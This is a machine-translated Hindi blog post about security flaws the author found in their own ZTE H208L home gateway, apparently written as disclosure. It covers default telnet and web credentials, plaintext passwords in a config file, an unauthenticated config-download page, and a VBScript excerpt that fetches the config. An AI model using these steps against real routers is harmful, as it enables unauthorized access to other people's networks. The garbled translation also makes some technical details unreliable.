जेडटीई नेटवर्क उपकरणों में सुरक्षा के मुद्दे

प्रविष्टि

मैं शुरू करूँगा, शायद, थोड़ी पृष्ठभूमि के साथ। चीनी कंपनियों के नेटवर्क उपकरणों के साथ मेरा परिचय 2006 तक है, जब, मोबाइल ऑपरेटरों में से एक के लिए काम करते हुए, मैं हुआवेई राउटर के साथ मिला था। मुझे कहना होगा कि उस चिड़ियाघर में गठन का पूरा इतिहास स्पष्ट रूप से दिखाई दे रहा था - सिस्को के समान नंबरिंग के साथ पहली पंक्ति से, कमांड सिंटैक्स को दोहराते हुए और यहां तक ​​कि सिस्को के मालिकाना राउटिंग प्रोटोकॉल और बहुत सुंदर "और सिंटैक्स के साथ अपेक्षाकृत विश्वसनीय तकनीक जोड़ने के लिए जाम का एक गुच्छा" कार्यान्वयन सुविधाएँ। तथ्य की बात के रूप में, अब भी मैं मुख्य रूप से इस कंपनी के उपकरणों के साथ काम करता हूं। आपको यह नहीं सोचना चाहिए कि मुझे लगता है कि जेडटीई उपकरण बहुत खराब है, लेकिन ग्राहक उपकरणों की सॉफ्टवेयर भराई मेरे लिए बहुत आश्चर्य की बात है, पहले हुआवेई रूटर्स पर स्टार्टअप-कॉन्फ़िगरेशन में "शो रन" कमांड लिखने से कम नहीं है।

परिचित

मेरे शोध का उद्देश्य मेरे घर का गेटवे जेडटीई एच 208 एल था, जो कि एडीएसएल मॉडेम, राउटर, वाईफाई एक्सेस प्वाइंट, एसआईपी टेलीफोनी क्लाइंट के एफएक्सएस पोर्ट के साथ काम करता है।

यहां होम गेटवे के लिए पर्याप्त कार्यक्षमता से अधिक है, मैं प्रलेखन का उल्लेख करने में रुचि रखता हूं, शायद इस संबंध में मैं केवल उस रूटिंग से परेशान था जब मॉडेम में पीपीपीओई कनेक्शन चालू होता है, क्योंकि गेटवे केवल अन्य कनेक्शनों की अनदेखी करते हुए, इस कनेक्शन को केवल पैकेट भेजता है। लेकिन ये अभी भी फूल हैं, अगर आप देखें कि वह सुरक्षा के साथ क्या कर रहा है।

पहले सर्कल में: टेलनेट

डिवाइस 23 पोर्ट पर मानक रूप से प्रतिक्रिया करता है, उपयोगकर्ता नाम / पासवर्ड (रूट / रूट) के लिए कहता है, मैं डिफ़ॉल्ट रूप से नहीं लिखता हूं, नीचे हम समझेंगे कि हम क्यों खोलते हैं:

बिजीबॉक्स v1.01 (2012.03.06-03: 19 + 0000) अंतर्निहित शेल (राख)
अंतर्निहित आदेशों की सूची के लिए 'सहायता' दर्ज करें।

# बिल्ली / proc / cpuinfo
सिस्टम प्रकार: अमेज़न-एस
प्रोसेसर: 0
सीपीयू मॉडल: MIPS 34K V4.12
BogoMIPS: 222.00
प्रतीक्षा निर्देश: हाँ
माइक्रोसेकंड टाइमर: हाँ
tlb_entries: 16
अतिरिक्त रुकावट वेक्टर: हाँ
हार्डवेयर निगरानी: हाँ
ASEs लागू: mips16 dsp mt
कुलपति अपवाद: उपलब्ध नहीं
VCEI अपवाद: उपलब्ध नहीं
# माउंट
/ dev / mtdblock6 ऑन / टाइप स्क्वैशफॉ (आरओ)
/ खरीद पर / खरीद प्रकार खरीद (आरडब्ल्यू)
tmpfs / var प्रकार tmpfs (rw)
tmpfs पर / mnt प्रकार tmpfs (आरडब्ल्यू)

इसलिए, हम देखते हैं कि टेलनेट केवल-पढ़ने के लिए रूट विभाजन को मापता है। तदनुसार, / etc / passwd फ़ाइल केवल पढ़ने के लिए मुहिम की जाती है, इसलिए हम पासवर्ड को केवल passwd कमांड से नहीं बदल सकते। फिर से, आगे देखते हुए, मैं कह सकता हूं कि मैंने सीधे विन्यास को संपादित करके इस सेटिंग को बदलने में कामयाब रहा। एक खोज इंजन में अफवाह होने के बाद, मुझे पता चला कि तीन कमांड के साथ टेलनेट के माध्यम से आप छिपे हुए सेटिंग्स पृष्ठों को सक्रिय कर सकते हैं, विशेष रूप से, एसआईपी सेटिंग्स और कुछ अन्य। मुझे कुछ और में दिलचस्पी थी - क्या कॉन्फ़िगर खातों के बारे में कोई जानकारी प्राप्त करना संभव है। एक छोटी खोज के बाद, मैंने फ़ाइल / var / tmp / version-cfg पाया, जो एक खुले XML- रूप में सभी संभव डेटा संग्रहीत करता है।

कॉन्फ़िगरेशन फ़ाइल का एक टुकड़ा

</Row> </Tbl> <Tbl name="TelnetCfg" RowCount="1"> <Row No="0"> <DM name="TS_Enable" val="1"/> <DM name="Wan_Enable" val="0"/> <DM name="Lan_Enable" val="0"/> <DM name="TS_Port" val="23"/> <DM name="TS_UName" val="root"/> <DM name="TS_UPwd" val="root"/> <DM name="Max_Con_Num" val="5"/> <DM name="ProcType" val="0"/> </Row> </Tbl> <Tbl name="RouteSYSRT" RowCount="1"> <Row No="0"> <DM name="Display" val="0"/> </Row> </Tbl> <Tbl name="L2BBridge" RowCount</code> 

दुर्भाग्य से, यह फ़ाइल भी केवल पढ़ने के लिए है, और हार्डवेयर के संचालन के लिए जिम्मेदार निष्पादन योग्य फाइलें संकेत नहीं देती हैं, इसलिए हमें टेलनेट इंटरफ़ेस के साथ किया जाता है।

सर्कल दो में: वेब-आधारित इंटरफ़ेस

404 त्रुटि से, हमें पता चलता है कि हम मिनी वेब सर्वर 1.0 ZTE कॉर्प 2005 के साथ काम कर रहे हैं। यहां हमें POST प्रमाणीकरण (डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड व्यवस्थापक / व्यवस्थापक हैं) के बाद एक अच्छा हरा इंटरफ़ेस मिलता है।



हाँ, कॉन्फ़िगर फ़ाइल अपलोड की गई है और मैन्युअल रूप से इसमें टेलनेट पासवर्ड को सही करते हुए, मैंने शांत कर दिया है। लंबे समय तक नहीं।

मैंने स्वयं के लिए एक सरल कार्य निर्धारित किया है - कॉन्फ़िगरेशन को उतारने, लोड करने और संपादित करने की प्रक्रिया को स्वचालित करने के लिए। फ़िडलर के साथ सशस्त्र, मैंने इंटरफ़ेस का उपयोग करने की प्रक्रिया में चलने वाले HTTP अनुरोधों को सूँघा और यह पाया कि प्राधिकरण फ़ॉर्म का डेटा भेजने के बाद, मुझे POST अनुरोध मल्टीपार्ट / फॉर्म-डेटा को पते / पतेपेज.gch?pid=100 पर भेजने की आवश्यकता है। और यहां, डिबगिंग की प्रक्रिया में, मुझे पता चला कि मुझे कॉन्फ़िगर डाउनलोड करने के लिए लॉग इन करने की आवश्यकता नहीं है। क्वेरी इतिहास पर अधिक बारीकी से देखने के बाद, मैंने पाया कि 192.168.1.1/manager_dev_config_t.gch के पते पर जाकर भी हम प्राधिकरण के बिना इस पृष्ठ को प्राप्त कर सकते हैं:



बैकअप बटन काम किया, पुनर्स्थापित नहीं। फिर भी, मैंने अंत में जाने का फैसला किया, और अंत में मुझे कुछ स्क्रिप्ट (विंडोज़ के लिए VBScript) मिली, दोनों एक पैरामीटर के रूप में मॉडेम पते को स्वीकार करते हैं। मैं पूरी तरह से यहां कोड नहीं ला सकता, इसलिए किशोर कुल्हड़ का उत्पादन नहीं करने के लिए, यह सिर्फ HTTP अनुरोधों का एक अनुकरण है, यहां मुख्य भाग है

 Set HTTP = CreateObject("Msxml2.XMLHTTP.6.0") Set ArgObj = WScript.Arguments URL=ArgObj(0) BOUNDARY="------12345678" HTTP.open "POST", "http://"&URL&"/getpage.gch?pid=100" parameters=BOUNDARY&vbCrLf&"Content-Disposition: form-data; name="&Chr(34)&"config"&Chr(34)&vbCrLf&vbCrLf&"--"&BOUNDARY&"--"&vbCrLf HTTP.setRequestHeader "Content-Type", "multipart/form-data; boundary="&BOUNDARY HTTP.setRequestHeader "Content-Length", Len(parameters) HTTP.send( parameters ) 

निष्कर्ष

क्या पहचाने गए मुद्दे महत्वपूर्ण हैं? मुझे संदेह है, अंत में, यह एक घर का प्रवेश द्वार है, और सही वाईफाई सेटिंग्स के साथ आप इसे इस तरह से नहीं तोड़ सकते। लेकिन संगठनों के नेटवर्क में आवेदन में, यह देखते हुए कि भेद्यता कुछ अन्य उपकरणों को प्रभावित करती है, विशेष रूप से, अतिरिक्त बैसाखी के बिना PON टर्मिनलों (हालांकि कॉन्फ़िगरेशन में अब कोई सादा-पाठ नहीं है), यह मुझे संदेहास्पद लगता है। कंपनी के प्रतिनिधियों द्वारा ZTE टेक सपोर्ट की मेरी अपील को नजरअंदाज कर दिया गया। इसके बावजूद, मुझे कंपनी के उत्पादों के खिलाफ कोई पूर्वाग्रह नहीं है - कीमत / कार्यक्षमता के मामले में, डिवाइस काफी प्रतिस्पर्धी है। यह किसी भी तरह अप्रिय है, विकास रोग, या कुछ और।